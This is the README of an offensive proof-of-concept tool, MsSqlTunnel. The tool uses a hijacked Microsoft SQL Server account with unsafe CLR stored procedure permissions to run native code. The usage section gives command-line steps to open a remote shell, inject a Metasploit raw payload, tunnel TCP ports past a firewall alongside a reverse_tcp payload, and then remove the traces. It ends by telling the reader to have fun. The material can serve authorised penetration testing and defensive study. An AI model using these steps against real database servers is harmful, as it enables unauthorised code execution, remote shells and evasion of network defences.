Microsoft SQL Server CLR Stored Procedures Native Code Execution And TCP Tunnelling
***********************************************************************************

(c) 2010 Michael 'mihi' Schierl, <schierlm at users dot sourceforge dot net>

Description
===========

Microsoft SQL Server supports so called CLR Stored Procedures which are written
in a .NET language and are run directly inside MS SQL Server. If an hijacked 
account has appropriate permissions, it can be used to run a native payload 
(inject native code into a new thread) or to tunnel a TCP connection or a shell
via the SQL port (needed if the database server is properly firewalled). They
can also be combined to tunnel a reverse_tcp payload.

There is a distinction between Safe CLR Stored Procedures which run in a sandbox
(and therefore cannot do these nice things) and Unsafed CLR Stored Procedures.
Since the sandbox is quite restrictive, there are many scenarios wher unsafe
stored procedures have to be used anyway, so the feature is often enabled.

To use CLR Stored Procedures, the feature has to be enabled in the Surface Area
Configuration. In addition, the hijacked user needs the CREATE ASSEMBLY, 
CREATE PROCEDURE and CREATE UNSAFE permissions for at least one database, which
is either marked as TRUSTWORTHY or can be marked as such by the hijacked user.

Other features (like sp_cmdshell) are not needed.

This proof of concept has been tested with Microsoft SQL Server 2005 Express.


Usage
=====

1) Set connection string

X:\>set DBCS=Data Source=192.168.56.99\SQLEXPRESS;Initial Catalog=schema;User ID=user;Password=secret

2) Create .NET stored procedures

X:\>MsSqlTunnel create

3a) Create interactive remote shell

X:\>MsSqlTunnel shell

3b) Run Payload

(generate appropriate Metasploit payload as type=raw and save to somepayload.bin)

X:\>MsSqlTunnel run somepayload.bin

3c) Tunnel TCP connection (tunnel remote port 3333 to connect to local port localhost:4444)

X:\>MsSqlTunnel tunnel 3333 localhost 4444

(you can combine this with running a reverse_tcp payload)

4) Clean up when you have finished exploiting

X:\>MsSqlTunnel drop

5) Have fun :)
